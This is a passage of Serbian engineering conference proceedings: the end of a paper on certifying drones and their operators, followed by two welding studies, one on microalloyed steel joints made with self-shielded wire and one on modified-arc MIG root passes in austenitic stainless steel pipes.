- 2. Sertifikacija bespilotnog vazduhoplova.

Sertifikaciju operatera u skladu sa važećim Pravilnikom o bespilotnim vazduhoplovima vrši Direktorat. Nakon položene provere znanja i dostavljanja definisane dokumentacije, operater dobija potvrdu na neograničeno vreme o poznavanju vazduhoplovnih propisa. Međutim, s obzirom na dinamične promene u oblasti bespilotnih vazduhoplova, iskustva mnogih zemalja govore da se potvrde izdaju na ograničeni vremenski period, nakon čega se vrši resertifikacija operatera. Ova odrednica je mnogo prihvatljivija jer zahteva od operatera da prati promene vazduhoplovnih propisa i da stalno obnavlja dostignuta znanja u ovoj oblasti, da bude stalno upoznat sa uputstvom za rad i uputstvom za održavanje bespilotnog vazduhoplova.

Sertifikacija bespilotnih vazduhoplova je oblast koja je malo obuhvaćena postojećim regulativama i Pravilnikom. Bespilotni vazduhoplovi se u skladu sa Pravilnikom koriste u sledećim reonima:

- Rejon I neizgrađeno ili nenaseljeno područje u kome nema ljudi, osim lica koje upravlja bespilotnim vazduhoplovom;
- Rejon II izgrađeno ali nenaseljeno područje u kome postoje građevinski objekti koji nisu namenjeni za život ljudi, u kome je moguće povremeno kraće zadržavanje ljudi;
- Rejon III naseljeno područje, u kome postoje građevinski objekti namenjeni za stalni život i boravak ljudi;
- Rejon IV gusto naseljeno područje, urbane ili centralne gradske zone, kao i svih područja na kojima se okuplja veliki broj ljudi.

Iz navedenog se može videti da se letenje bespilotnih vazduhoplova može realizovati, kako u nenaseljenim, tako i naseljenim područjima. Naročito je važan aspekt korišćenja bespilotnih vazduhoplova u gusto naseljenim područjima, gde problemi u radu mogu dovesti i do povređivanja drugih lica. Shodno tome, neophodno bi bilo razmotriti i uređenje oblasti tehničke sertifikacije bespilotnih vazduhoplova.

Pre same sertifikacije, neophodno je definisati telo koje će vršiti sertifikaciju i davati validne sertifikate. Ovu oblast mogu vršiti ovlšćene laboratorije ili druge ustanove sa definisanim minimumom stručnog kadra koja ispunjava uslove za stručni pregled tehničke dokumentacije bespilotnog vazduhoplova i može da realizuje postupak ispitivanja, merenja i sertifikacije bespilotnog vazduhoplova.

Nakon definisanja ovlašćenog tela za vršenje sertifikacije, neophodno je definisati metod sertifikacije.

U načelu, sertifikacija bespilotnih vazduhoplova sadrži nekoliko delova:

- Pregled tehničke dokumentacije bespilotnog vazduhoplova – ovaj pregleda sadrži pregled i proučavanje obavezne dokumentacije koju svaki bespilotni vazduhoplov mora imati. U ovom delu vrši se pregled uputstva za rukovanje bespilotnim vazduhoplovom, uputstva za održavanje bespilotnog vazduhoplova i pregled prethodno izdatog sertifikata za bespilotni vazduhoplov (ako je operater, odnosno vlasnik bespilotnog vazduhoplova, ranije vršio sertifikaciju);
- Pregled izveštaja ovlašćene laboratorije o proveri tehničkih karakteristika bespilotnog vazduhoplova – realizuje se pregled izveštaja druge ovlašćene laboratorije o ispitivanju tehničkih karakteristika vazduhoplova tehničkih karakteristika datih u uputstvu za rad ili održavanje bespilotnog vazduhoplova;
- Provera tehničkih karakteristika bespilotnog vazduhoplova – provera pojedinih karakteristika bespilotnih vazduhoplova iz uputstva za rukovanje i održavanje bespilotnog vazduhoplova u laboratorijskim uslovima. U okviru ovoga, vršila bi se provera komponenti bespilotnih vazduhoplova od pogonskog elementa, modula za komandovanje, osnovne konstrukcije itd. prema nacionalnim vazduhoplovnim standardima za pojedine elemente i delove bespilotnih vazduhoplova. Ukoliko nema definisanih nacionalnih standarda, pregled se realizuje prema internacionalnim standardima vezanim za bespilotne vazduhoplove, odnosno vazduhoplove uopšte;
- Provera rada i funkcionalnosti bespilotnog vazduhoplova – praktična provera rada bespilotnog vazduhoplova na zemlji i letenjem sa elementima letenja koje uputstvo za rad bespilotnog vazduhoplova predviđa i odobrava;

 Provera bespilotnog vazduhoplova sa aspekta bezbednosti u rukovanju i radu – vrši se provera elemenata i bespilotnih vazduhoplova u celosti sa aspekta bezbednog rada u letu, proveri funkcionisanja bezbednosnih protokola bespilotnog vazduhoplova (ako ih bespilotni vazduhoplov poseduje), kao na primer provera rada bespilotnog vazduhoplova nakon gubljenja veze sa operaterom, provera protokola o prinudnom prizemljenju ili povratku u tačku poletanja kada dođe do gubitka veze sa operaterom i slično, provera sa aspekta elektromagnetne komatibilnosti i imunosti sistema bespilotnog vazduhoplova itd.

Postupak sertifikacije dozvoljava priznavanje sličnog sertifikata i izveštaja izdatog od strane druge ovlašćene laboratorije, što je naročito bitno za bespilotne vazduhoplove koji se proizvode i kupuju u inostranstvu.

Tehničkom sertifikacijom bespilotnih vazduhoplova uz definisanu sertifikaciju operatera bespilotnog vazduhoplova zaokružila bi se oblast upotrebe i korišćenja bespilotnih vazduhoplova u komercijalne svrhe. Ovo je naročito bitno jer greške u radu bespilotnih vazduhoplova, nastale usled neznanja operatera ili usled tehničkih problema u radu bespilotnog vazduhoplova, mogu imati ozbiljne poslodice na lica u gusto naseljenim područjima iznad kojih bespilotni vazduhoplovi lete, ali i na druge objekte koji koriste vazdušni prostor.

4. ZAKLJUČAK

Sertifikacija bespilotnih vazduhoplova sastoji se od:

- Sertifikacije operatera bespilotnog vazduhoplova
 koja je trenutno definisana u Pravilniku;
- Sertifikacije bespilotnog vazduhoplova koja je trenutno malo definisana oblast.

S obzirom na to da se bespilotni vazduhoplovi mogu koristiti u nenaseljenim, ali i gusto naseljenim područjima, potrebno je izvršiti sertifikaciju samih bespilotnih vazduhoplova, sa posebnim akcentom na bezbednost u radu i sprečavanje mogućih posledica usled otkaza u letu.

Postupak sertifikacije bespilotnih vazduhoplova definisao bi metod pregleda dokumentacije i samog bespilotnog vazduhoplova, laboratorijska merenja i provere sa aspekta bezbednosti leta i korišćenja. Na ovaj način definisali bi se i zahtevi koje bespilotni vazduhoplovi koriste u civilne svrhe u zemlji moraju ispunjavati, čime bi se uticalo na njihov uvoz i izradu i sprečilo komercijalno korišćenje nebezbednih i nesertifikovanih uređaja. Krajnji cilj je povećanje bezbednosti ljudi u zemlji koji se nalaze u zoni letenja bespilotnih vazduhoplova, izrada/uvoz kvalitetnih bespilotnih vazduhoplova i razvoj sistema bezbednosti letenja bespilotnih vazduhoplova u zemlji.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

ADVANCED ENGINEERING SYSTEMS

MEHANIČKO-STRUKTURNA ANALIZA ZAVARENOG SPOJA MIKROLEGIRANOG ČELIKA DOBIJENOG SAMOZAŠTITNOM ŽICOM

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Rezime:

Unapređenje tehnologije zavarivanja mikrolegiranih čelika prati razvoj postupaka zavarivanja, od prvobitno korišćenog ručnog elektrolučnog zavarivanja obloženom elektrodom, preko zavarivanja u zaštiti smeše gasova koristeći punu elektrodnu žicu ili punjenu elektrodnu žicu sa metalnom ispunom, pa do najnovijeg postupka zavarivanja punjenom samozaštitnom elektrodnom žicom. Osavremenjavanje postupaka zavarivanja direktno utiče na produktivnost i kvalitet zavarenih spojeva. U ovom radu prikazana je mehaničko-strukturna analiza zavarenog spoja mikrolegiranog čelika primenom samozaštitne žice. Mikrolegirani čelik je zavaren samozaštitnom žicom i isečeni su uzorci za ispitivanja tvrdoće i metalografska ispitivanja. Na osnovu dobijenih rezultata, utvrđena je zavisnost između mikrostrukture i tvrdoće zavarenog spoja.

Ključne reči:

zavarivanje, mikrolegirani čelik, samozaštitna žica, tvrdoća, mikrostruktura.

1. UVOD

Mikrolegirani čelici su dosta zastupljeni u procesnoj industriji, a koriste se za izradu cevovoda, cilindričnih i sfernih rezervoara za skladištenje gasova i derivata nafte. Stoga je potreba za postizanjem visokog kvaliteta zavarenih spojeva kod ovih čelika od ogromnog značaja. Zahvaljujući dobrim mehaničkim karakteristikama, koje se postižu optimizacijom hemijskog sastava, kontrolisanim valjanjem i termomehaničkim postupcima prerade, ovi čelici postepeno potiskuju mnoge do sada upotrebljavane konstrukcione čelike [1, 2].

Mehaničke karakteristike zavarenih spojeva mikrolegiranih čelika zavise od mikrostrukture metala šava i zone uticaja toplote [3]. Najpoželjniji oblik mikrostrukture u metalu šava, kod ove vrste čelika, jeste acikularni ferit, jer povoljno utiče na mehaničke karakteristike. Obrazovanje ove mikrostrukture je kompleksna pojava koja zavisi od međudejstva velikog broja faktora. Formiranje različitih morfologija ferita direktno utiče na mehaničke karakteristike zavarenog spoja [4, 5].

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2. EKSPERIMENTALNI REZULTATI

Kao osnovni materijal za zavarivanje korišćene su čelične ploče izrađene od mikrolegiranog čelika klase P460NL1, debljine 14 mm. Ovaj čelik namenjen je za izradu posuda pod pritiskom predviđenih za rad na sniženim temperaturama. Hemijski sastav osnovnog materijala prikazan je u Tabeli 1.

Hemijski elementi [maseni %]										
С	Si	Mn	Р	S	Al	Ni	Cr	V	Nb	Ti
0,15	0,38	1.70	0.015	0,0021	0,031	0,63	0,037	0,099	0,038	0,004

Tabela 1. Hemijski sastav osnovnog materijala.

Za zavarivanje je korišćena samozaštitna žica. Coreshield 8 je samozaštitna žica namenjena za sve položaje zavarivanja, pri čemu zadržava odlične karakteristike luka i daje lep izgled šava. Sa troskom koja brzo očvršćava i koja zadržava istopljeni metal tokom zavarivanja, idealna je za prinudne položaje zavarivanja. Pošto je samozaštitna, nije potrebna dodatna zaštita gasa. U Tabeli 2 dat je hemijski sastav dodatnog materijala.

	Hemijski elementi [maseni %]						
Dodatni materijai	С	Si	Mn	Р	S	Al	
Coreshield 8	0.17	0.1	0.5	0.010	0.003	0.5	

Tabela 2. Hemijski sastav dodatnog materijala.

Ploče mikrolegiranog čelika isečene su gasnim postupkom, a žlebovi pripremljeni brušenjem. Na Slici 1 dat je oblik i dimenzije Y žleba.

Iz ploča zavarenih punjenom samozaštitnom elektrodnom žicom izrađene su epruvete za ispitivanje tvrdoće i epruvete za metalografska ispitivanja. Na epruvetama za ispitivanje tvrdoće cilj je da se ispita tvrdoća osnovnog materijala, tvrdoća metala šava i tvrdoća materijala u okviru zone uticaja toplote.



Slika 1. Oblik i dimenzije Y žleba.

Na metalografskim uzorcima je predviđeno da se sprovede svetlosna mikroskopija sa ciljem da se analiziraju mikrostrukture osnovnog materijala, metala šava i materijala obuhvaćenog zonom uticaja toplote.

3. REZULTATI METALOGRAFSKIH ISPITIVANJA

Na pripremljenim metalografskim uzorcima izvršen je opšti pregled stanja mikrostrukture na metalografskom (invertovanom svetlosnom) mikroskopu Neophot 21 (Carl Zeiss) i fotografisana su karakteristična mesta. Fotografije mikrostruktura prikazane su na Slikama 2-5.

Mikrostruktura osnovnog materijala je usmerena sitnozrna feritno-perlitna struktura sa ravnomernom veličinom zrna (Slika 2). U zoni pregrevanja koja se nalazi u sklopu zone uticaja toplote uočava se krupnozrna beinitna struktura (Slika 3). Pored zone pregrevanja je zona normalizacije sa veoma sitnozrnom feritno-perlitnom strukturom, što se jasno vidi sa Slike 4 (veličina metalnih zrna je značajno manja od veličine metalnih zrna u osnovnom materijalu). U metalu šava, kako u korenom prolazu, tako i u prolazima popune u centralnoj zoni metala šava (Slika 5) takođe je zastupljena sitnozrna feritno-perlitna struktura. Do ovog usitnjavanja strukture došlo je usled uticaja toplote na prethodni prolaz prilikom zavarivanja svakog narednog prolaza popune. Na licu metala šava, odnosno u završnom prolazu, jasno se vidi prisustvo proeutektoidnog ferita u strukturi, izdvojenog po granicama prvobitno austenitnih zrna, dok je unutar zrna prisutna sitnija feritno-perlitna struktura (Slika 6).



500 x Slika 2. Mikrostruktura osnovnog materijala.



500 x Slika 3. Mikrostruktura zone pregrevanja u okviru zone uticaja toplote.



500 x Slika 4. Mikrostruktura zone normalizacije u okviru zone uticaja toplote.



500 x Slika 5. Mikrostruktura metala šava-koreni prolaz.



500 x Slika 6. Mikrostruktura lica metala šava.

4. REZULTATI ISPITIVANJA TVRDOĆE ZAVARENIH SPOJEVA

Ispitivanje tvrdoće izvršeno je metodom Vikers. Prilikom ispitivanja korišćena je sila utiskivanja od 98.07 N i vreme utiskivanja u trajanju od 15 sekundi. Na Slici 7 prikazan je uzorak za ispitivanje tvrdoće, na kome su obeležene merne linije i merna mesta. Uzorak je isečen iz ploče koja je zavarena pomoću punjene samozaštitne topljive elektrodne žice. Rezultati ispitivanja tvrdoće prikazani su na Slikama 8 i 9.



Slika 7. Uzorak za ispitivanje tvrdoće sa obeleženim mernim linijama i mernim mestima.

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Najveće vrednosti tvrdoće izmerene su u zoni uticaja toplote, što je i očekivano, usled prisustva beinita u mikrostrukturi. Tvrdoće izmerene u metalu šava duž pojedinačnih mernih linija ne odstupaju značajno, što je u skladu sa prethodnom konstatacijom da je u metalu šava prisutna ujednačena sitnozrna feritno-perlitna mikrostruktura. Najveće tvrdoće u okviru metala šava izmerene su na licu šava, odnosno u okviru završnog prolaza, zbog grubozrne strukture, dok su prolazi popune i koreni prolazi normalizovani, usled čega su i vrednosti tvrdoće manje.



Slika 8. Dijagram raspodele tvrdoće u zavarenom spoju

(OM – osnovni metal, MŠ – metal šava, ZUT – zona uticaja toplote).



Slika 9. Dijagram raspodele tvrdoće u metalu šava, po debljini zavarenog spoja.

5. ZAKLJUČAK

Na osnovu rezultata sprovedenih ispitivanja moguće je izvesti sledeće zaključke:

 Na osnovu metalografskih ispitivanja određena je struktura osnovnog metala, metala šava i zone uticaja toplote, i uočene su različite morfologije ferita. Na osnovu prisustva, zastupljenosti, rasporeda određenih faza i veličine zrna mogu se objasniti mehaničke karakteristike zavarenih spojeva.

- Usled prisustva krupnozrnog beinita u zoni uticaja toplote izmerene su najveće vrednosti tvrdoće materijala, dok ravnomeran raspored feritno-perlitne strukture u metalu šava zavarenog spoja izrađenog punjenom samozaštitnom žicom rezultuje relativno konzistentnom raspodelom tvrdoće kako po širini, tako i po debljini metala šava. Na ovakve rezultate značajan uticaj ima količina toplote koja se unosi prilikom izvođenja svakog narednog prolaza popune žleba, jer se na taj način vrši normalizacija prethodno izvedenih prolaza.
- Najmanja tvrdoća izmerena je u središnjoj oblasti metala šava.
- Završni sloj ima značajno veću vrednost tvrdoće u odnosu na slojeve u središnjoj oblasti metala šava. U ovoj oblasti uočavaju se krupnija zrna jer nakon zavarivanja nije vršena termička obrada spojeva.

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PRIMENA MODIFIKOVANOG ELEKTRIČNOG LUKA ZA ZAVARIVANJE KORENOG PROLAZA CEVI OD AUSTENITNIH NERĐAJUĆIH ČELIKA

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Rezime:

Do sada su se za zavarivanje cevi od visokolegiranih austenitnih čelika koristili TIG i E postupci. Ove postupke odlikuju mala brzina zavarivanja i veliki unos toplote, zbog čega su zavareni spojevi pokazivali sklonost ka nastanku određenih vrsta grešaka, pa je i produktivnost zavarivanja bila niska. Primenom modifikovanog električnog luka bitno se povećava produktivnost zavarivanja i smanjuje se verovatnoća pojave grešaka u zavarenim spojevima. U radu su cevi od austenitnog nerđajućeg čelika zavarene u tri prolaza, pri čemu je, radi poređenja, koreni prolaz zavaren modifikovanim lukom i klasičnim MIG postupkom. S obzirom na to da je zavarivanje korenog prolaza najsporija faza u izradi zavarenog spoja, primenom modifikovanog luka dnevni obim zavarivačkih radova može se povećati u odnosu na primenu klasičnog MIG postupka za oko 17%, u odnosu na primenu TIG postupka za oko 30%, i u odnosu na primenu E postupka za 70 do 80%.

Ključne reči:

zavarivanje, modifikovani električni luk, austenitni nerđajući čelik, produktivnost.

1. UVOD

U grupu nerđajućih čelika ubrajaju se čelici koji su hemijski ili elektrohemijski postojani pri delovanju vlažne atmosfere, vodene pare, kao i pojedinih kiselina i baza, njihovih soli i vodenih rastvora. Zajednička karakteristika nerđajućih čelika je povećani sadržaj hroma. Hrom povećava korozionu postojanost čelika u različitim sredinama, naročito u oksidacionim. Nerđajući čelici mogu imati austenitnu, feritnu i martenzitnu strukturu.

Čelik X5CrNi18-8 jedan je od najšire primenjivanih austenitnih nerđajućih čelika. Koristi se u prehrambenoj, tekstilnoj, faramaceutskoj i hemijskoj industriji zbog dobre korozione postojanosti i sposobnosti deformacije. Nedostatak mu je nizak napon tečenja, što ograničava njegovu upotrebu za noseće konstrukcije. Austenitna mikrostruktura ovog čelika prikazana je na Slici 1. U poređenju sa niskougljeničnim konstrukcionim čelicima, austenitni nerđajući čelici imaju: za oko 100 °C nižu tačku topljenja, za oko 20% veću specifičnu toplotu, tri puta manju toplotnu provodnost, i za 50% veći koeficijent linearnog toplotnog širenja [1]. Veća specifična toplota povećava količinu toplote potrebnu da se čelik zagreje do tačke topljenja. Međutim, manja toplotna provodnost i niža tačka topljenja smanjuju količinu toplote potrebnu za topljenje čelika. Zbog toga se austenitni čelici zavaruju sa manjim unosima toplote u odnosu na niskougljenične čelike. Veći koeficijent linearnog širenja povećava deformacije austenitnih čelika pri zavarivanju, u odnosu na niskougljenične konstrukcione čelike. Ove deformacije mogu se smanjiti pravilnim redosledom zavarivanja i smanjenjem unosa toplote.



Slika 1. Austenitna mikrostruktura čelika X5CrNi 18-8.

U poređenju sa drugim čelicima, austenitni čelici skloniji su obrazovanju toplih prslina u zavarenim spojevima. Razlozi za to su: veliki naponi koji deluju na zavareni spoj pri njegovom očvršćavanju, a koji su posledica male toplotne provodnosti i velikog koeficijenta linearnog širenja čelika, usmerenost primarne dendritne strukture metala šava (MŠ) i pojava lako topivih faza [2]. Često povećanje udela osnovnog materijala (OM) u MŠ povećava njegovu sklonost ka pojavi toplih prslina zbog povećanja sadržaja elemenata kao što su P i S i elemenata koji obrazuju lako topive faze. Zbog toga se bira režim zavarivanja koji omogućava smanjenje udela OM u MŠ.

Na smanjenje sklonosti ka pojavi toplih prslina može se uticati još i smanjenjem napona koji deluju na MŠ u trenutku njegovog očvršćavanja. Ovi naponi mogu se smanjiti izborom šavova sa malim koeficijentom oblika tj. plitkih i širokih šavova sa malom dubinom uvarivanja i izborom optimalne temperature predgrevanja.

2. POSTUPCI ZAVARIVANJA AUSTENITNIH ČELIKA

Tehnološke zahteve koji se pojavljuju pri zavarivanju cevi većih prečnika, izrađenih od austenitnih nerđajućih čelika, moguće je ispuniti primenom E, MIG i TIG postupaka zavarivanja.

Kod E postupka, za razliku od ostalih navedenih postupaka, nije potrebna zaštita naličja korenog dela spoja. Troska prekriva naličje korena šava, štiti ga od kontakta sa vazduhom i omogućava formiranje glatkog korena sa postepenim prelazom na OM. Međutim, E postupak karakterišu mala brzina zavarivanja i veliki broj nastavaka, zbog zamene elektroda. Usled toga, zavarivanje se izvodi sa povećanim unosom toplote i sa ponovljenim zagrevanjem velikog broja mesta duž spoja, što pogoduje pojavi grešaka. Mala brzina zavarivanja i potreba za čišćenjem troske smanjuju produktivnost E postupka, pa ovaj postupak nije pogodan za zavarivanje cevi velikih prečnika.

TIG postupak omogućava zavarivanje korenog zavara sa malo grešaka formiranja šava. Međutim, postupak karakterišu mala brzina zavarivanja, relativno veliki broj nastavaka i potreba za dodatnom gasnom zaštitom naličja korena šava. I u ovom slučaju zavarivanje se izvodi sa povećanim unosom toplote i sa ponovljenim zagrevanjem relativno velikog broja mesta duž spoja, što pogoduje pojavi grešaka. Mala brzina zavarivanja smanjuje produktivnost postupka.

Prednosti MIG postupka, u odnosu na navedene postupke, jesu velika brzina zavarivanja, manji unos toplote i manji broj nastavaka. Zahvaljujući tome, moguće je izbeći, ili je u znatnoj meri moguće, smanjiti pojavu grešaka. Još jedna prednost MIG postupka je mogućnost kontinualnog merenja struje i napona tokom zavarivanja [3], što omogućava izračunavanje unete količine toplote na svakoj deonici spoja i, u slučaju pojave grešaka, njeno korigovanje. Nedostatak MIG postupka potreba je za dodatnom gasnom zaštitom naličja korena šava. Zbog velike brzine zavarivanja i relativno malog broja nastavaka, MIG postupak je najproduktivniji od svih navedenih postupaka, pa je najpogodniji za zavarivanje cevi od austenitnog čelika velikih prečnika.

Pri zavarivanju sučeonih spojeva na cevovodima, najsporije se zavaruju koreni prolazi. S obzirom na to, važno je razmotriti mogućnost ubrzavanja zavarivanja korenih prolaza primenom MIG postupka. Takođe, verovatnoća pojave grešaka u sučeonim spojevima najveća je u korenom prolazu, zbog čega se za zavarivanje ovog prolaza zahteva najveća veština zavarivača. Iz navedenih razloga razmotrena je mogućnost za povećanje brzine zavarivanja

korenog prolaza uz održavanje potrebnog nivoa kvaliteta. Rešenje je pronađeno u zavarivanju softverski regulisanim modifikovanim lukom.

3. SOFTVERSKI REGULISANI MODIFIKOVANI LUK

Zavarivanje softverski regulisanim modifikovanim lukom [4] je postupak zavarivanja u modifikovanom režimu kratkospojenog prenosa. Ovaj postupak je namenski razvijen za zavarivanje korenih zavara [5].

Na Slici 2 data je promena jačine struje tokom prenosa jedne kapi pri zavarivanju modifikovanim lukom. U gornjem delu Slike 2 punom linijom je prikazana promena jačine struje u luku, a u donjem delu slike su prikazane različite faze gorenja luka.



Slika 2. Promene jačine struje u različitim fazama gorenja softverski regulisanog modifikovanog luka.

Prenos svake kapi dodatnog materijala (DM) kroz modifikovani luk odvija u dve faze. U prvoj fazi, fazi kratkog spoja, proces počinje kratkim spojem između DM i tečnog kupatila. Ovaj kratki spoj praćen je malim porastom struje, plavo polje na Slici 2. Zatim sledi drugi veći porast jačine struje koji indukuje kontrakciju poprečnog preseka kapi na prelazu na neistopljeni DM, što omogućava njeno odvajanje od DM i slivanje u tečno kupatilo. Softver reguliše intenzitet i vreme trajanja struje kratkog spoja i momenat u kome struja počinje da se smanjuje. Na taj način ograničeno je zagrevanje kapljice DM i omogućen je njen prenos kroz luk bez pregrevanja, eksplozije i rasprskavanja. Zbog ovakvog načina prenosa, kap DM "meko" se sliva u tečno kupatilo.

Kada se kap DM slije u tečno kupatilo, počinje druga faza, faza gorenja luka. Ona je praćena porastom jačine struje. Intenzitet i vreme trajanja povećane jačine struje su softverski regulisani. Faza gorenja luka utiče na zagrevanje OM, na oblik i dimenzije tečnog kupatila, na dubinu uvarivanja i na topljenje vrha DM. U ovoj fazi nema prenosa kapi DM. Posle stadijuma porasta sledi stadijum snižavanja struje do željenog baznog nivoa. Ovaj bazni nivo struje mora da bude optimalne veličine. Suviše mala bazna struja onemogućava stabilno gorenje luka i topljenje vrha DM, a suviše velika bazna struja utiče da se prenos kapi DM menja iz kratkospojenog u krupnokapljičasti. Time se pogoršava formiranje korenog zavara, dobijaju se neujednačena širina i visina, pojavljuju se prokapine i pregreva se OM.

Tehnika rada

Postupak zavarivanja softverski regulisanim modifikovanim lukom može se koristiti za zavarivanje korenih zavara sa potpunim provarom, na limovima i na cevima. Nakon instalacije programa u uređaj za zavarivanje, zavarivač bira brzinu dodavanja žice, a program sam postavlja sve ostale parametre. Moguća je i ručna regulacija ukoliko je potrebna korekcija parametara npr. zbog suviše velikih ili suviše malih zazora u korenu žleba.

Softver za modifikaciju zavarivačkog luka može se koristiti samo na uređajima za zavarivanje koji imaju dovoljno brz i precizan odziv na promene napona luka. To su invertorski uređaji novijih generacija.

Zavarivanje modifikovanim lukom omogućava da se brzina zavarivanja korenog zavara poveća u odnosu na brzine zavarivanja korenih zavara zavarenih MIG, TIG i E postupcima. Zbog toga se dnevni obim zavarivačkih radova znatno povećava, naročito u poređenju sa E postupkom. Zbog bolje kontrole prenosa DM moguće je i smanjenje ugla žleba sa 60° na 50°. To skraćuje vreme potrebno za zavarivanje. Odsustvo razbrizgavanja eliminiše troškove naknadne obrade površina OM. Ovo, sve ukupno, smanjuje troškove za rad pri izradi spoja.

Dodatne prednosti postupka zavarivanja modifikovanim lukom su još i zavarivanje bez razbrizgavanja, mogućnost premošćivanja širokih zazora u korenu žleba, dobro formiranje lica i naličja korenog prolaza, minimalne deformacije zbog malog unosa toplote i mogućnost zavarivanja u svim položajima.

Postupak zavarivanja modifikovanim lukom austenitnih visokolegiranih čelika može se primeniti za izradu cevovoda u postrojenjima za preradu pijaće vode, u postrojenjima za preradu otpadnih voda, u hemijskoj industriji, u industriji prerade hrane. Takođe, ovaj postupak može se koristiti za izradu opreme pod pritiskom, za izradu skladišnih rezervoara i za izradu cisterni za transport u drumskom i železničkom saobraćaju.

4. EKSPERIMENTALNI DEO

Ispitni spoj zavaren je na cevi izrađenoj od čelika X5CrNi18-8 dimenzija 1220x8 mm. Hemijski sastav i mehanička svojstva ovog čelika date su u Tabelama 1 i 2. Kao DM korišćena je žica G19 9 LSi (EN 12072) prečnika 1 mm. Hemijski sastav i mehanička svojstva DM dati su u Tabelama 3 i 4.

С	Si	Mn	Cr	Ni
≤ 0,07	≤ 1,0	≤ 2,0	17,0 - 19,5	8,0 - 10,5

Tabela 1. Hemijski sastav čelika X5CrNi 18-8.

Napon tečenja	Zatezna čvrstoća	Izduženje
Rp 0,2 MPa	Rm MPa	%
≥ 230	540 - 750 ≥ 45	≥ 45

Tabela 2. Mehanička svojstva čelika X5CrNi 18-8.

С	Si	Mn	Cr	Ni
≤ 0,025	0,8	2,0	19,0	9,0

Tabela 3. Hemijski sastav dodatnog materijala G19 9 LSi.

Napon tečenja	Zatezna čvrstoća	Izduženje	
Rp 0,2 MPa	Rm MPa	A %	
> 320	550 - 650	> 30	

Tabela 4. Mehanička svojstva dodatnog materijala G19 9 LSi. Korišćen je V žleb dimenzija datih na Slici 3. Kao zaštitni gas korišćena je mešavina Ar + 3% CO2 sa protokom od 15 l/min, a za zaštitu korene strane šava korišćen je čist Ar sa protokom od 2 do 3 l/min.





Ispitni spoj br. 1 zavaren je sa tri prolaza. Parametri zavarivanja dati su u Tabeli 5. Radi poređenja i ocene rezultata ispitivanja zavaren je i spoj br. 2 kod koga je koreni zavar zavaren klasičnim MIG postupkom. Parametri zavarivanja i ovog spoja dati su u Tabeli 5.

5. REZULATI I DISKUSIJA

Vizuelnim pregledom konstatovano je da je lice korenog prolaza spoja 1 ujednačene širine i bez grešaka formiranja šava. Visina lica menja se od blago ispupčenog

R. br.	Deo spoja	I A	U V	V _z cm/min	V _z mm/sec	Q KJ/mm *	Postupak zavarivanja
Spoj	Koren	90,1	19,5	13,9	2,32	0,61	Modifikovani luk
	Popuna	132,1	23,1	17,0	2,83	0,86	MIG
-	Lice	141,5	23,4	16,3	2,72	0,97	MIG
Spoj 2	Koren	83,2	19,9	6,37	1,06	1,25	MIG
	Popuna	130,9	23,1	17,6	2,93	0,83	MIG
	Lice	135,8	23,2	15,3	2,55	0,99	MIG

Tabela 5. Parametri zavarivanja.

* za MIG postupak $\eta = 0.8$

u horizontalnom i vertikalnom delu spoja do ispupčenijeg u nadglavnom delu spoja. Pregled naličja korenog prolaza pokazuje da je celom dužinom spoja postignut potpuni provar ujednačene visine i širine. Radiografskim ispitivanjem i ispitivanjem penetrantima ovog spoja nisu otkrivene prsline niti druge greške formiranja u šavu i njegovoj okolini.

Zatezne karakteristike MŠ određene su ispitivanjem okruglih epruveta (Ø6 mm). Rezultati ispitivanja dati su u Tabeli 6.

Epruveta	Napon tečenja Rp 0,2 MPa		Zatezna Rm	a čvrstoća MPa	Izduženje A %		
br.	Pojedinačno	Srednja vrednost	Pojedinačno	Srednja vrednost	Pojedinačno	Srednja vrednost	
1	321		612		37		
2	321	324	626	625	37	37	
3	331		636		36	_	

Tabela 6. Rezultati ispitivanja zateznih karakteristika metala šava.

Ispitivanje savijanjem epruveta sa spojem u celini urađeno je na epruvetama sa paralelnim bokovima. Rezultati ispitivanja pokazali su da je ugao savijanja kod svih ispitivanih epruveta 180° i da nije utvrđeno prisustvo prslina.

Na Slici 4 prikazana je mikrostruktura MŠ. Uočava se austenitna mikrostruktura sa udelom δ – ferita, koji je uobičajen za spoj zavaren DM G 19 9 L Si.



200x



500 x Slika 4. Mikrostruktura metala šava: osnova austenita sa udelom δ – ferita

Rezultati ispitivanja na savijanje i ispitivanja mikrostruktura pokazuju da usvojena tehnologija zavarivanja ne dovodi do pojave toplih prslina i prslina usled interkristalne korozije. Mikrostrukturnim ispitivanjem nije uočeno izlučivanje karbida hroma po granicama zrna. Ugao savijanja epruveta od 180° bez pojave prslina i sa strane lica i sa strane korena spoja govori da je materijal MŠ i ZUT dovoljno plastičan tj. da se u spoju nisu pojavile krte faze.

Rezultati iz Tabele 5 pokazuju da je brzina zavarivanja korenog prolaza modifikovanim lukom više nego dvostruko veća u odnosu na zavarivanje korenog prolaza klasičnim MIG postupkom. Do sada su za zavarivanje korenih prolaza na cevima izrađenim od austenitnih nerđajućih čelika uglavnom korišćeni TIG i E postupci kod kojih je brzina zavarivanja manja u odnosu na klasični MIG postupak. Primenom modifikovanog luka, umesto TIG i E postupaka, brzine zavarivanja korenih prolaza mogu se još više povećati. S obzirom na to da je zavarivanje korenog prolaza najsporija faza u izradi zavarenog spoja, njeno ubrzavanje skraćuje i vreme izrade spoja u celini [6]. Na taj način, primenom modifikovanog luka dnevni obim zavarivačkih radova može da se poveća u odnosu na primenu klasičnog MIG postupka za oko 17%, u odnosu na primenu TIG postupka za oko 30%, i u odnosu na primenu E postupka za 70 do 80 % [7].

6. ZAKLJUČAK

U radu je pokazano kako se putem softvera može upravljati promenama jačine struje i napona tokom prenosa svake pojedinačne kapi kroz zavarivački luk. Primena softverske regulacije na uređajima za zavarivanje otvara nove i široke mogućnosti u oblasti razvoja tehnologije zavarivanja. Softverskom regulacijom može se uticati na kinetiku prenosa dodatnog materijala kroz luk, toplotne i metalurške procese u luku i osnovnom materijalu i na pojavu grešaka u zavarenim spojevima. Time se, u suštini, povećava kvalitet zavarenih spojeva i proširuju se tehnološke mogućnosti za primenu postupaka zavarivanja. Softverska regulacija luka utiče i na produktivnost procesa zavarivanja kroz povećanje brzine zavarivanja i smanjenje utroška vremena na prateće operacije, kao što je npr. uklanjanje troske i brušenje nastavaka. Obuka zavarivača za zavarivanje modifikovanim lukom MIG postupkom jednostavnija je i time i jeftinija nego npr. obuka za zavarivanje TIG i E postupcima. Nedostatak postupka zavarivanja sa softverskom regulacijom luka relativno je visoka cena uređaja za zavarivanje, koja se kreće u nivou cena skupljih TIG uređaja. Međutim, visoka produktivnost postupka garantuje otplatu uređaja u razumnom roku.

